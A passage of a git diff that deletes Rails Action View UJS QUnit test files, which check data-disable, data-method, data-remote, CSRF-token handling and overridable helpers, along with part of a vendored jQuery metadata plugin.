-      'data-disable': 'true'
-    }))
-
-    $('#qunit-fixture').append($('<button />', {
-      text: 'Click me',
-      'data-remote': true,
-      'data-url': '/echo',
-      'data-disable': 'true'
-    }))
-  },
-  teardown: function() {
-    $(document).unbind('iframe:loaded')
-  }
-})
-
-asyncTest('form input field with "data-disable" attribute', 7, function() {
-  var form = $('form[data-remote]'), input = form.find('input[type=text]')
-
-  App.checkEnabledState(input, 'john')
-
-  form.bindNative('ajax:success', function(e, data) {
-    setTimeout(function() {
-      App.checkEnabledState(input, 'john')
-      equal(data.params.user_name, 'john')
-      start()
-    }, 13)
-  })
-  form.triggerNative('submit')
-
-  App.checkDisabledState(input, 'john')
-})
-
-asyncTest('form button with "data-disable" attribute', 7, function() {
-  var form = $('form[data-remote]'), button = $('<button data-disable name="submit2">Submit</button>')
-  form.append(button)
-
-  App.checkEnabledState(button, 'Submit')
-
-  form.bindNative('ajax:success', function(e, data) {
-    setTimeout(function() {
-      App.checkEnabledState(button, 'Submit')
-      start()
-    }, 13)
-  })
-  form.triggerNative('submit')
-
-  App.checkDisabledState(button, 'Submit')
-  equal(button.data('ujs:enable-with'), undefined)
-})
-
-asyncTest('form input[type=submit][data-disable] disables', 6, function() {
-  var form = $('form:not([data-remote])'), input = form.find('input[type=submit]')
-
-  App.checkEnabledState(input, 'Submit')
-
-  // WEEIRDD: attaching this handler makes the test work in IE7
-  $(document).bind('iframe:loading', function(e, f) {})
-
-  $(document).bind('iframe:loaded', function(e, data) {
-    setTimeout(function() {
-      App.checkDisabledState(input, 'Submit')
-      start()
-    }, 30)
-  })
-  form.triggerNative('submit')
-
-  setTimeout(function() {
-    App.checkDisabledState(input, 'Submit')
-  }, 30)
-})
-
-asyncTest('form[data-remote] input[type=submit][data-disable] is replaced in ajax callback', 2, function() {
-  var form = $('form:not([data-remote])').attr('data-remote', 'true'), origFormContents = form.html()
-
-  form.bindNative('ajax:success', function() {
-    form.html(origFormContents)
-
-    setTimeout(function() {
-      var input = form.find('input[type=submit]')
-      App.checkEnabledState(input, 'Submit')
-      start()
-    }, 30)
-  }).triggerNative('submit')
-})
-
-asyncTest('form[data-remote] input[data-disable] is replaced with disabled field in ajax callback', 2, function() {
-  var form = $('form:not([data-remote])').attr('data-remote', 'true'), input = form.find('input[type=submit]'),
-      newDisabledInput = input.clone().attr('disabled', 'disabled')
-
-  form.bindNative('ajax:success', function() {
-    input.replaceWith(newDisabledInput)
-
-    setTimeout(function() {
-      App.checkEnabledState(newDisabledInput, 'Submit')
-      start()
-    }, 30)
-  }).triggerNative('submit')
-})
-
-asyncTest('form[data-remote] textarea[data-disable] attribute', 3, function() {
-  var form = $('form[data-remote]'),
-      textarea = $('<textarea data-disable name="user_bio">born, lived, died.</textarea>').appendTo(form)
-
-  form.bindNative('ajax:success', function(e, data) {
-    setTimeout(function() {
-      equal(data.params.user_bio, 'born, lived, died.')
-      start()
-    }, 13)
-  })
-  form.triggerNative('submit')
-
-  App.checkDisabledState(textarea, 'born, lived, died.')
-})
-
-asyncTest('a[data-disable] disables', 5, function() {
-  var link = $('a[data-disable]')
-
-  App.checkEnabledState(link, 'Click me')
-
-  link.triggerNative('click')
-  App.checkDisabledState(link, 'Click me')
-  equal(link.data('ujs:enable-with'), undefined)
-  start()
-})
-
-asyncTest('a[data-remote][data-disable] disables and re-enables', 6, function() {
-  var link = $('a[data-disable]').attr('data-remote', true)
-
-  App.checkEnabledState(link, 'Click me')
-
-  link
-    .bindNative('ajax:send', function() {
-      App.checkDisabledState(link, 'Click me')
-    })
-    .bindNative('ajax:complete', function() {
-      setTimeout( function() {
-        App.checkEnabledState(link, 'Click me')
-        start()
-      }, 15)
-    })
-    .triggerNative('click')
-})
-
-asyncTest('a[data-remote][data-disable] re-enables when `ajax:before` event is cancelled', 6, function() {
-  var link = $('a[data-disable]').attr('data-remote', true)
-
-  App.checkEnabledState(link, 'Click me')
-
-  link
-    .bindNative('ajax:before', function() {
-      App.checkDisabledState(link, 'Click me')
-      return false
-    })
-    .triggerNative('click')
-
-  setTimeout(function() {
-    App.checkEnabledState(link, 'Click me')
-    start()
-  }, 30)
-})
-
-asyncTest('a[data-remote][data-disable] re-enables when `ajax:beforeSend` event is cancelled', 6, function() {
-  var link = $('a[data-disable]').attr('data-remote', true)
-
-  App.checkEnabledState(link, 'Click me')
-
-  link
-    .bindNative('ajax:beforeSend', function() {
-      App.checkDisabledState(link, 'Click me')
-      return false
-    })
-    .triggerNative('click')
-
-  setTimeout(function() {
-    App.checkEnabledState(link, 'Click me')
-    start()
-  }, 30)
-})
-
-asyncTest('a[data-remote][data-disable] re-enables when `ajax:error` event is triggered', 6, function() {
-  var link = $('a[data-disable]').attr('data-remote', true).attr('href', '/error')
-
-  App.checkEnabledState(link, 'Click me')
-
-  link
-    .bindNative('ajax:send', function() {
-      App.checkDisabledState(link, 'Click me')
-    })
-    .triggerNative('click')
-
-  setTimeout(function() {
-    App.checkEnabledState(link, 'Click me')
-    start()
-  }, 30)
-})
-
-asyncTest('form[data-remote] input|button|textarea[data-disable] does not disable when `ajax:beforeSend` event is cancelled', 8, function() {
-  var form = $('form[data-remote]'),
-      input = form.find('input:text'),
-      button = $('<button data-disable="submitting ..." name="submit2">Submit</button>').appendTo(form),
-      textarea = $('<textarea data-disable name="user_bio">born, lived, died.</textarea>').appendTo(form),
-      submit = $('<input type="submit" data-disable="submitting ..." name="submit2" value="Submit" />').appendTo(form)
-
-  form
-    .bindNative('ajax:beforeSend', function() {
-      return false
-    })
-    .triggerNative('submit')
-
-  App.checkEnabledState(input, 'john')
-  App.checkEnabledState(button, 'Submit')
-  App.checkEnabledState(textarea, 'born, lived, died.')
-  App.checkEnabledState(submit, 'Submit')
-
-  start()
-})
-
-asyncTest('ctrl-clicking on a link does not disables the link', 6, function() {
-  var link = $('a[data-disable]')
-
-  App.checkEnabledState(link, 'Click me')
-
-  link.triggerNative('click', { metaKey: true })
-  App.checkEnabledState(link, 'Click me')
-
-  link.triggerNative('click', { ctrlKey: true })
-  App.checkEnabledState(link, 'Click me')
-  start()
-})
-
-asyncTest('button[data-remote][data-disable] disables and re-enables', 6, function() {
-  var button = $('button[data-remote][data-disable]')
-
-  App.checkEnabledState(button, 'Click me')
-
-  button
-    .bindNative('ajax:send', function() {
-      App.checkDisabledState(button, 'Click me')
-    })
-    .bindNative('ajax:complete', function() {
-      setTimeout( function() {
-        App.checkEnabledState(button, 'Click me')
-        start()
-      }, 15)
-    })
-    .triggerNative('click')
-})
-
-asyncTest('button[data-remote][data-disable] re-enables when `ajax:before` event is cancelled', 6, function() {
-  var button = $('button[data-remote][data-disable]')
-
-  App.checkEnabledState(button, 'Click me')
-
-  button
-    .bindNative('ajax:before', function() {
-      App.checkDisabledState(button, 'Click me')
-      return false
-    })
-    .triggerNative('click')
-
-  setTimeout(function() {
-    App.checkEnabledState(button, 'Click me')
-    start()
-  }, 30)
-})
-
-asyncTest('button[data-remote][data-disable] re-enables when `ajax:beforeSend` event is cancelled', 6, function() {
-  var button = $('button[data-remote][data-disable]')
-
-  App.checkEnabledState(button, 'Click me')
-
-  button
-    .bindNative('ajax:beforeSend', function() {
-      App.checkDisabledState(button, 'Click me')
-      return false
-    })
-    .triggerNative('click')
-
-  setTimeout(function() {
-    App.checkEnabledState(button, 'Click me')
-    start()
-  }, 30)
-})
-
-asyncTest('button[data-remote][data-disable] re-enables when `ajax:error` event is triggered', 6, function() {
-  var button = $('a[data-disable]').attr('data-remote', true).attr('href', '/error')
-
-  App.checkEnabledState(button, 'Click me')
-
-  button
-    .bindNative('ajax:send', function() {
-      App.checkDisabledState(button, 'Click me')
-    })
-    .triggerNative('click')
-
-  setTimeout(function() {
-    App.checkEnabledState(button, 'Click me')
-    start()
-  }, 30)
-})
diff --git a/actionview/test/ujs/public/test/data-method.js b/actionview/test/ujs/public/test/data-method.js
deleted file mode 100644
index 47d940c577386..0000000000000
--- a/actionview/test/ujs/public/test/data-method.js
+++ /dev/null
@@ -1,85 +0,0 @@
-(function() {
-
-module('data-method', {
-  setup: function() {
-    $('#qunit-fixture').append($('<a />', {
-      href: '/echo', 'data-method': 'delete', text: 'destroy!'
-    }))
-  },
-  teardown: function() {
-    $(document).unbind('iframe:loaded')
-  }
-})
-
-function submit(fn, options) {
-  $(document).bind('iframe:loaded', function(e, data) {
-    fn(data)
-    start()
-  })
-
-  $('#qunit-fixture').find('a')
-    .triggerNative('click')
-}
-
-asyncTest('link with "data-method" set to "delete"', 3, function() {
-  submit(function(data) {
-    equal(data.REQUEST_METHOD, 'DELETE')
-    strictEqual(data.params.authenticity_token, undefined)
-    strictEqual(data.HTTP_X_CSRF_TOKEN, undefined)
-  })
-})
-
-asyncTest('click on the child of link with "data-method"', 3, function() {
-  $(document).bind('iframe:loaded', function(e, data) {
-    equal(data.REQUEST_METHOD, 'DELETE')
-    strictEqual(data.params.authenticity_token, undefined)
-    strictEqual(data.HTTP_X_CSRF_TOKEN, undefined)
-    start()
-  })
-  $('#qunit-fixture a').html('<strong>destroy!</strong>').find('strong').triggerNative('click')
-})
-
-asyncTest('link with "data-method" and CSRF', 1, function() {
-  $('#qunit-fixture')
-    .append('<meta name="csrf-param" content="authenticity_token"/>')
-    .append('<meta name="csrf-token" content="cf50faa3fe97702ca1ae"/>')
-
-  submit(function(data) {
-    equal(data.params.authenticity_token, 'cf50faa3fe97702ca1ae')
-  })
-})
-
-asyncTest('link "target" should be carried over to generated form', 1, function() {
-  $('a[data-method]').attr('target', 'super-special-frame')
-  submit(function(data) {
-    equal(data.params._target, 'super-special-frame')
-  })
-})
-
-asyncTest('link with "data-method" and cross origin', 1, function() {
-  var data = {}
-
-  $('#qunit-fixture')
-    .append('<meta name="csrf-param" content="authenticity_token"/>')
-    .append('<meta name="csrf-token" content="cf50faa3fe97702ca1ae"/>')
-
-  $(document).on('submit', 'form', function(e) {
-    $(e.currentTarget).serializeArray().map(function(item) {
-      data[item.name] = item.value
-    })
-
-    return false
-  })
-
-  var link = $('#qunit-fixture').find('a')
-
-  link.attr('href', 'http://www.alfajango.com')
-
-  link.triggerNative('click')
-
-  start()
-
-  notEqual(data.authenticity_token, 'cf50faa3fe97702ca1ae')
-})
-
-})()
diff --git a/actionview/test/ujs/public/test/data-remote.js b/actionview/test/ujs/public/test/data-remote.js
deleted file mode 100644
index a51aa10417f04..0000000000000
--- a/actionview/test/ujs/public/test/data-remote.js
+++ /dev/null
@@ -1,400 +0,0 @@
-module('data-remote', {
-  setup: function() {
-    $('#qunit-fixture')
-      .append($('<a />', {
-        href: '/echo',
-        'data-remote': 'true',
-        'data-params': 'data1=value1&data2=value2',
-        text: 'my address'
-      }))
-      .append($('<button />', {
-        'data-url': '/echo',
-        'data-remote': 'true',
-        'data-params': 'data1=value1&data2=value2',
-        text: 'my button'
-      }))
-      .append($('<form />', {
-        action: '/echo',
-        'data-remote': 'true',
-        method: 'post',
-        id: 'my-remote-form'
-      }))
-      .append($('<a />', {
-        href: '/echo',
-        'data-remote': 'true',
-        disabled: 'disabled',
-        text: 'Disabed link'
-      }))
-      .find('form').append($('<input type="text" name="user_name" value="john">'))
-
-  }
-})
-
-asyncTest('ctrl-clicking on a link does not fire ajaxyness', 0, function() {
-  var link = $('a[data-remote]')
-
-  // Ideally, we'd setup an iframe to intercept normal link clicks
-  // and add a test to make sure the iframe:loaded event is triggered.
-  // However, jquery doesn't actually cause a native `click` event and
-  // follow links using `trigger('click')`, it only fires bindings.
-  link
-    .removeAttr('data-params')
-    .bindNative('ajax:beforeSend', function() {
-      ok(false, 'ajax should not be triggered')
-    })
-
-  link.triggerNative('click', { metaKey: true })
-  link.triggerNative('click', { ctrlKey: true })
-
-  setTimeout(function() { start() }, 13)
-})
-
-asyncTest('ctrl-clicking on a link still fires ajax for non-GET links and for links with "data-params"', 2, function() {
-  var link = $('a[data-remote]')
-
-  link
-    .removeAttr('data-params')
-    .attr('data-method', 'POST')
-    .bindNative('ajax:beforeSend', function() {
-      ok(true, 'ajax should be triggered')
-    })
-    .triggerNative('click', { metaKey: true })
-
-  link
-    .removeAttr('data-method')
-    .attr('data-params', 'name=steve')
-    .triggerNative('click', { metaKey: true })
-
-  setTimeout(function() { start() }, 13)
-})
-
-asyncTest('clicking on a link with data-remote attribute', 5, function() {
-  $('a[data-remote]')
-    .bindNative('ajax:success', function(e, data, status, xhr) {
-      App.assertCallbackInvoked('ajax:success')
-      App.assertRequestPath(data, '/echo')
-      console.log(data.params)
-      equal(data.params.data1, 'value1', 'ajax arguments should have key data1 with right value')
-      equal(data.params.data2, 'value2', 'ajax arguments should have key data2 with right value')
-      App.assertGetRequest(data)
-    })
-    .bindNative('ajax:complete', function() { start() })
-    .triggerNative('click')
-})
-
-asyncTest('clicking on a link with both query string in href and data-params', 4, function() {
-  $('a[data-remote]')
-    .attr('href', '/echo?data3=value3')
-    .bindNative('ajax:success', function(e, data, status, xhr) {
-      App.assertGetRequest(data)
-      equal(data.params.data1, 'value1', 'ajax arguments should have key data1 with right value')
-      equal(data.params.data2, 'value2', 'ajax arguments should have key data2 with right value')
-      equal(data.params.data3, 'value3', 'query string in url should be passed to server with right value')
-    })
-    .bindNative('ajax:complete', function() { start() })
-    .triggerNative('click')
-})
-
-asyncTest('clicking on a link with both query string in href and data-params with POST method', 4, function() {
-  $('a[data-remote]')
-    .attr('href', '/echo?data3=value3')
-    .attr('data-method', 'post')
-    .bindNative('ajax:success', function(e, data, status, xhr) {
-      App.assertPostRequest(data)
-      equal(data.params.data1, 'value1', 'ajax arguments should have key data1 with right value')
-      equal(data.params.data2, 'value2', 'ajax arguments should have key data2 with right value')
-      equal(data.params.data3, 'value3', 'query string in url should be passed to server with right value')
-    })
-    .bindNative('ajax:complete', function() { start() })
-    .triggerNative('click')
-})
-
-asyncTest('clicking on a link with disabled attribute', 0, function() {
-  $('a[disabled]')
-  .bindNative('ajax:before', function(e, data, status, xhr) {
-    App.assertCallbackNotInvoked('ajax:success')
-  })
-  .bindNative('ajax:complete', function() { start() })
-  .triggerNative('click')
-
-  setTimeout(function() {
-    start()
-  }, 13)
-})
-
-asyncTest('clicking on a button with data-remote attribute', 5, function() {
-  $('button[data-remote]')
-    .bindNative('ajax:success', function(e, data, status, xhr) {
-      App.assertCallbackInvoked('ajax:success')
-      App.assertRequestPath(data, '/echo')
-      equal(data.params.data1, 'value1', 'ajax arguments should have key data1 with right value')
-      equal(data.params.data2, 'value2', 'ajax arguments should have key data2 with right value')
-      App.assertGetRequest(data)
-    })
-    .bindNative('ajax:complete', function() { start() })
-    .triggerNative('click')
-})
-
-asyncTest('changing a select option with data-remote attribute', 5, function() {
-  $('form')
-    .append(
-      $('<select />', {
-        'name': 'user_data',
-        'data-remote': 'true',
-        'data-params': 'data1=value1',
-        'data-url': '/echo'
-      })
-      .append($('<option />', {value: 'optionValue1', text: 'option1'}))
-      .append($('<option />', {value: 'optionValue2', text: 'option2'}))
-    )
-
-  $('select[data-remote]')
-    .bindNative('ajax:success', function(e, data, status, xhr) {
-      App.assertCallbackInvoked('ajax:success')
-      App.assertRequestPath(data, '/echo')
-      equal(data.params.user_data, 'optionValue2', 'ajax arguments should have key term with right value')
-      equal(data.params.data1, 'value1', 'ajax arguments should have key data1 with right value')
-      App.assertGetRequest(data)
-    })
-    .bindNative('ajax:complete', function() { start() })
-    .val('optionValue2')
-    .triggerNative('change')
-})
-
-asyncTest('submitting form with data-remote attribute', 4, function() {
-  $('form[data-remote]')
-    .bindNative('ajax:success', function(e, data, status, xhr) {
-      App.assertCallbackInvoked('ajax:success')
-      App.assertRequestPath(data, '/echo')
-      equal(data.params.user_name, 'john', 'ajax arguments should have key user_name with right value')
-      App.assertPostRequest(data)
-    })
-    .bindNative('ajax:complete', function() { start() })
-    .triggerNative('submit')
-})
-
-asyncTest('submitting form with data-remote attribute should include inputs in a fieldset only once', 3, function() {
-  $('form[data-remote]')
-    .append('<fieldset><input name="items[]" value="Item" /></fieldset>')
-    .bindNative('ajax:success', function(e, data, status, xhr) {
-      App.assertCallbackInvoked('ajax:success')
-      equal(data.params.items.length, 1, 'ajax arguments should only have the item once')
-      App.assertPostRequest(data)
-    })
-    .bindNative('ajax:complete', function() {
-      $('form[data-remote], fieldset').remove()
-      start()
-    })
-    .triggerNative('submit')
-})
-
-asyncTest('submitting form with data-remote attribute submits input with matching [form] attribute', 5, function() {
-  $('#qunit-fixture')
-    .append($('<input type="text" name="user_data" value="value1" form="my-remote-form">'))
-
-  $('form[data-remote]')
-    .bindNative('ajax:success', function(e, data, status, xhr) {
-      App.assertCallbackInvoked('ajax:success')
-      App.assertRequestPath(data, '/echo')
-      equal(data.params.user_name, 'john', 'ajax arguments should have key user_name with right value')
-      equal(data.params.user_data, 'value1', 'ajax arguments should have key user_data with right value')
-      App.assertPostRequest(data)
-    })
-    .bindNative('ajax:complete', function() { start() })
-    .triggerNative('submit')
-})
-
-asyncTest('submitting form with data-remote attribute by clicking button with matching [form] attribute', 5, function() {
-  $('form[data-remote]')
-    .bindNative('ajax:success', function(e, data, status, xhr) {
-      App.assertCallbackInvoked('ajax:success')
-      App.assertRequestPath(data, '/echo')
-      equal(data.params.user_name, 'john', 'ajax arguments should have key user_name with right value')
-      equal(data.params.user_data, 'value2', 'ajax arguments should have key user_data with right value')
-      App.assertPostRequest(data)
-    })
-    .bindNative('ajax:complete', function() { start() })
-
-  $('<button />', {
-        type: 'submit',
-        name: 'user_data',
-        value: 'value1',
-        form: 'my-remote-form'
-      })
-    .appendTo($('#qunit-fixture'))
-
-  $('<button />', {
-      type: 'submit',
-      name: 'user_data',
-      value: 'value2',
-      form: 'my-remote-form'
-    })
-    .appendTo($('#qunit-fixture'))
-    .triggerNative('click')
-})
-
-asyncTest('form\'s submit bindings in browsers that don\'t support submit bubbling', 5, function() {
-  var form = $('form[data-remote]'), directBindingCalled = false
-
-  ok(!directBindingCalled, 'nothing is called')
-
-  form
-    .append($('<input type="submit" />'))
-    .bindNative('submit', function(event) {
-      ok(event.type == 'submit', 'submit event handlers are called with submit event')
-      ok(true, 'binding handler is called')
-      directBindingCalled = true
-    })
-    .bindNative('ajax:beforeSend', function() {
-      ok(true, 'form being submitted via ajax')
-      ok(directBindingCalled, 'binding handler already called')
-    })
-    .bindNative('ajax:complete', function() {
-      start()
-    })
-
-    if(!$.support.submitBubbles) {
-      // Must indrectly submit form via click to trigger jQuery's manual submit bubbling in IE
-      form.find('input[type=submit]')
-      .triggerNative('click')
-    } else {
-      form.triggerNative('submit')
-    }
-})
-
-asyncTest('returning false in form\'s submit bindings in non-submit-bubbling browsers', 1, function() {
-  var form = $('form[data-remote]')
-
-  form
-    .append($('<input type="submit" />'))
-    .bindNative('submit', function() {
-      ok(true, 'binding handler is called')
-      return false
-    })
-    .bindNative('ajax:beforeSend', function() {
-      ok(false, 'form should not be submitted')
-    })
-
-    if (!$.support.submitBubbles) {
-      // Must indrectly submit form via click to trigger jQuery's manual submit bubbling in IE
-      form.find('input[type=submit]').triggerNative('click')
-    } else {
-      form.triggerNative('submit')
-    }
-
-    setTimeout(function() { start() }, 13)
-})
-
-asyncTest('clicking on a link with falsy "data-remote" attribute does not fire ajaxyness', 0, function() {
-  $('a[data-remote]')
-    .attr('data-remote', 'false')
-    .bindNative('ajax:beforeSend', function() {
-      ok(false, 'ajax should not be triggered')
-    })
-    .bindNative('click', function() {
-      return false
-    })
-    .triggerNative('click')
-
-  setTimeout(function() { start() }, 20)
-})
-
-asyncTest('ctrl-clicking on a link with falsy "data-remote" attribute does not fire ajaxyness even if "data-params" present', 0, function() {
-  var link = $('a[data-remote]')
-
-  link
-    .removeAttr('data-params')
-    .attr('data-remote', 'false')
-    .attr('data-method', 'POST')
-    .bindNative('ajax:beforeSend', function() {
-      ok(false, 'ajax should not be triggered')
-    })
-    .bindNative('click', function() {
-      return false
-    })
-    .triggerNative('click', { metaKey: true })
-
-  link
-    .removeAttr('data-method')
-    .attr('data-params', 'name=steve')
-    .triggerNative('click', { metaKey: true })
-
-  setTimeout(function() { start() }, 20)
-})
-
-asyncTest('clicking on a button with falsy "data-remote" attribute', 0, function() {
-  $('button[data-remote]:first')
-    .attr('data-remote', 'false')
-    .bindNative('ajax:beforeSend', function() {
-      ok(false, 'ajax should not be triggered')
-    })
-    .bindNative('click', function() {
-      return false
-    })
-    .triggerNative('click')
-
-  setTimeout(function() { start() }, 20)
-})
-
-asyncTest('submitting a form with falsy "data-remote" attribute', 0, function() {
-  $('form[data-remote]:first')
-    .attr('data-remote', 'false')
-    .bindNative('ajax:beforeSend', function() {
-      ok(false, 'ajax should not be triggered')
-    })
-    .bindNative('submit', function() {
-      return false
-    })
-    .triggerNative('submit')
-
-  setTimeout(function() { start() }, 20)
-})
-
-asyncTest('changing a select option with falsy "data-remote" attribute', 0, function() {
-  $('form')
-    .append(
-      $('<select />', {
-        'name': 'user_data',
-        'data-remote': 'false',
-        'data-params': 'data1=value1',
-        'data-url': '/echo'
-      })
-      .append($('<option />', {value: 'optionValue1', text: 'option1'}))
-      .append($('<option />', {value: 'optionValue2', text: 'option2'}))
-    )
-
-  $('select[data-remote=false]:first')
-    .bindNative('ajax:beforeSend', function() {
-      ok(false, 'ajax should not be triggered')
-    })
-    .val('optionValue2')
-    .triggerNative('change')
-
-  setTimeout(function() { start() }, 20)
-})
-
-asyncTest('form should be serialized correctly', 6, function() {
-  $('form')
-    .append('<textarea name="textarea">textarea</textarea>')
-    .append('<input type="checkbox" name="checkbox[]" value="0" />')
-    .append('<input type="checkbox" checked="checked" name="checkbox[]" value="1" />')
-    .append('<input type="radio" checked="checked" name="radio" value="0" />')
-    .append('<input type="radio" name="radio" value="1" />')
-    .append('<select multiple="multiple" name="select[]">\
-      <option value="1" selected>1</option>\
-      <option value="2" selected>2</option>\
-      <option value="3">3</option>\
-      <option selected>4</option>\
-    </select>')
-    .bindNative('ajax:success', function(e, data, status, xhr) {
-      equal(data.params.checkbox.length, 1)
-      equal(data.params.checkbox[0], '1')
-      equal(data.params.radio, '0')
-      equal(data.params.select.length, 3)
-      equal(data.params.select[2], '4')
-      equal(data.params.textarea, 'textarea')
-
-      start()
-    })
-    .triggerNative('submit')
-})
diff --git a/actionview/test/ujs/public/test/override.js b/actionview/test/ujs/public/test/override.js
deleted file mode 100644
index be6ec7749b2fe..0000000000000
--- a/actionview/test/ujs/public/test/override.js
+++ /dev/null
@@ -1,56 +0,0 @@
-(function() {
-
-var realHref
-
-module('override', {
-  setup: function() {
-    realHref = $.rails.href
-    $('#qunit-fixture')
-      .append($('<a />', {
-        href: '/real/href', 'data-remote': 'true', 'data-method': 'delete', 'data-href': '/data/href'
-      }))
-  },
-  teardown: function() {
-    $.rails.href = realHref
-  }
-})
-
-asyncTest('the getter for an element\'s href is publicly accessible', 1, function() {
-  ok($.rails.href)
-  start()
-})
-
-asyncTest('the getter for an element\'s href is overridable', 1, function() {
-  $.rails.href = function(element) { return $(element).data('href') }
-  $('#qunit-fixture a')
-    .bindNative('ajax:beforeSend', function(e, xhr, options) {
-      equal('/data/href', options.url)
-      return false
-    })
-    .triggerNative('click')
-  start()
-})
-
-asyncTest('the getter for an element\'s href works normally if not overridden', 1, function() {
-  $('#qunit-fixture a')
-    .bindNative('ajax:beforeSend', function(e, xhr, options) {
-      equal(location.protocol + '//' + location.host + '/real/href', options.url)
-      return false
-    })
-    .triggerNative('click')
-  start()
-})
-
-asyncTest('the event selector strings are overridable', 1, function() {
-  ok($.rails.linkClickSelector.indexOf(', a[data-custom-remote-link]') != -1, 'linkClickSelector contains custom selector')
-  start()
-})
-
-asyncTest('including jquery-ujs multiple times throws error', 1, function() {
-  throws(function() {
-    Rails.start()
-  }, 'appending rails.js again throws error')
-  setTimeout(function() { start() }, 50)
-})
-
-})()
diff --git a/actionview/test/ujs/public/test/settings.js b/actionview/test/ujs/public/test/settings.js
deleted file mode 100644
index c68ca24d6a003..0000000000000
--- a/actionview/test/ujs/public/test/settings.js
+++ /dev/null
@@ -1,116 +0,0 @@
-var App = App || {}
-
-App.assertCallbackInvoked = function(callbackName) {
-  ok(true, callbackName + ' callback should have been invoked')
-}
-
-App.assertCallbackNotInvoked = function(callbackName) {
-  ok(false, callbackName + ' callback should not have been invoked')
-}
-
-App.assertGetRequest = function(requestEnv) {
-  equal(requestEnv['REQUEST_METHOD'], 'GET', 'request type should be GET')
-}
-
-App.assertPostRequest = function(requestEnv) {
-  equal(requestEnv['REQUEST_METHOD'], 'POST', 'request type should be POST')
-}
-
-App.assertRequestPath = function(requestEnv, path) {
-  equal(requestEnv['PATH_INFO'], path, 'request should be sent to right url')
-}
-
-App.getVal = function(el) {
-  return el.is('input,textarea,select') ? el.val() : el.text()
-}
-
-App.disabled = function(el) {
-  return el.is('input,textarea,select,button') ?
-    (el.is(':disabled') && $.rails.getData(el[0], 'ujs:disabled')) :
-    $.rails.getData(el[0], 'ujs:disabled')
-}
-
-App.checkEnabledState = function(el, text) {
-  ok(!App.disabled(el), el.get(0).tagName + ' should not be disabled')
-  equal(App.getVal(el), text, el.get(0).tagName + ' text should be original value')
-}
-
-App.checkDisabledState = function(el, text) {
-  ok(App.disabled(el), el.get(0).tagName + ' should be disabled')
-  equal(App.getVal(el), text, el.get(0).tagName + ' text should be disabled value')
-}
-
-// hijacks normal form submit; lets it submit to an iframe to prevent
-// navigating away from the test suite
-$(document).bind('submit', function(e) {
-  if (!e.isDefaultPrevented()) {
-    var form = $(e.target), action = form.attr('action'),
-        name = 'form-frame' + jQuery.guid++,
-        iframe = $('<iframe name="' + name + '" />'),
-        iframeInput = '<input name="iframe" value="true" type="hidden" />'
-        targetInput = '<input name="_target" value="' + (form.attr('target') || '') + '" type="hidden" />'
-
-    if (action && action.indexOf('iframe') < 0) {
-      if (action.indexOf('?') < 0) {
-        form.attr('action', action + '?iframe=true')
-      } else {
-        form.attr('action', action + '&iframe=true')
-      }
-    }
-    form.attr('target', name).append(iframeInput, targetInput)
-    $('#qunit-fixture').append(iframe)
-    $.event.trigger('iframe:loading', form)
-  }
-})
-
-var MouseEvent = window.MouseEvent
-
-try {
-  new MouseEvent()
-} catch (e) {
-  MouseEvent = function(type, options) {
-    var evt = document.createEvent('MouseEvents')
-    evt.initMouseEvent(type, options.bubbles, options.cancelable, window, options.detail, 0, 0, 80, 20, options.ctrlKey, options.altKey, options.shiftKey, options.metaKey, 0, null)
-    return evt
-  }
-}
-
-$.fn.extend({
-  // trigger a native click event
-  triggerNative: function(type, options) {
-    var el = this[0],
-        event,
-        Evt = {
-          'click': MouseEvent,
-          'change': Event,
-          'pageshow': PageTransitionEvent,
-          'submit': Event
-        }[type]
-
-    options = options || {}
-    options.bubbles = true
-    options.cancelable = true
-
-    event = new Evt(type, options)
-
-    el.dispatchEvent(event)
-
-    if (type === 'submit' && !event.defaultPrevented) {
-      el.submit()
-    }
-    return this
-  },
-  bindNative: function(event, handler) {
-    if (!handler) return this
-
-    this.bind(event, function(e) {
-      var args = []
-      if (e.originalEvent.detail) {
-        args = e.originalEvent.detail.slice()
-      }
-      args.unshift(e)
-      return handler.apply(this, args)
-    })
-    return this
-  }
-})
diff --git a/actionview/test/ujs/public/vendor/jquery.metadata.js b/actionview/test/ujs/public/vendor/jquery.metadata.js
deleted file mode 100644
index 5b5253cdf7c17..0000000000000
--- a/actionview/test/ujs/public/vendor/jquery.metadata.js
+++ /dev/null
@@ -1,122 +0,0 @@
-/*
- * Metadata - jQuery plugin for parsing metadata from elements
- *
- * Copyright (c) 2006 John Resig, Yehuda Katz, J�örn Zaefferer, Paul McLanahan
- *
- * Dual licensed under the MIT and GPL licenses:
- *   http://www.opensource.org/licenses/mit-license.php
- *   http://www.gnu.org/licenses/gpl.html
- *
- * Revision: $Id: jquery.metadata.js 4187 2007-12-16 17:15:27Z joern.zaefferer $
- *
- */
-
-/**
- * Sets the type of metadata to use. Metadata is encoded in JSON, and each property
- * in the JSON will become a property of the element itself.
- *
- * There are three supported types of metadata storage:
- *
- *   attr:  Inside an attribute. The name parameter indicates *which* attribute.
- *          
- *   class: Inside the class attribute, wrapped in curly braces: { }
- *   
- *   elem:  Inside a child element (e.g. a script tag). The
- *          name parameter indicates *which* element.
- *          
- * The metadata for an element is loaded the first time the element is accessed via jQuery.
- *
- * As a result, you can define the metadata type, use $(expr) to load the metadata into the elements
- * matched by expr, then redefine the metadata type and run another $(expr) for other elements.
- * 
- * @name $.metadata.setType
- *
- * @example <p id="one" class="some_class {item_id: 1, item_label: 'Label'}">This is a p</p>
- * @before $.metadata.setType("class")
- * @after $("#one").metadata().item_id == 1; $("#one").metadata().item_label == "Label"
- * @desc Reads metadata from the class attribute
- * 
- * @example <p id="one" class="some_class" data="{item_id: 1, item_label: 'Label'}">This is a p</p>
- * @before $.metadata.setType("attr", "data")
- * @after $("#one").metadata().item_id == 1; $("#one").metadata().item_label == "Label"
- * @desc Reads metadata from a "data" attribute
- * 
- * @example <p id="one" class="some_class"><script>{item_id: 1, item_label: 'Label'}</script>This is a p</p>
- * @before $.metadata.setType("elem", "script")
- * @after $("#one").metadata().item_id == 1; $("#one").metadata().item_label == "Label"
- * @desc Reads metadata from a nested script element
- * 
- * @param String type The encoding type
- * @param String name The name of the attribute to be used to get metadata (optional)
- * @cat Plugins/Metadata
- * @descr Sets the type of encoding to be used when loading metadata for the first time
- * @type undefined
- * @see metadata()
- */
-
-(function($) {
-
-$.extend({
-	metadata : {
-		defaults : {
-			type: 'class',
-			name: 'metadata',
-			cre: /({.*})/,
-			single: 'metadata'
-		},
-		setType: function( type, name ){
-			this.defaults.type = type;
-			this.defaults.name = name;
-		},
-		get: function( elem, opts ){
-			var settings = $.extend({},this.defaults,opts);
-			// check for empty string in single property
-			if ( !settings.single.length ) settings.single = 'metadata';
-			
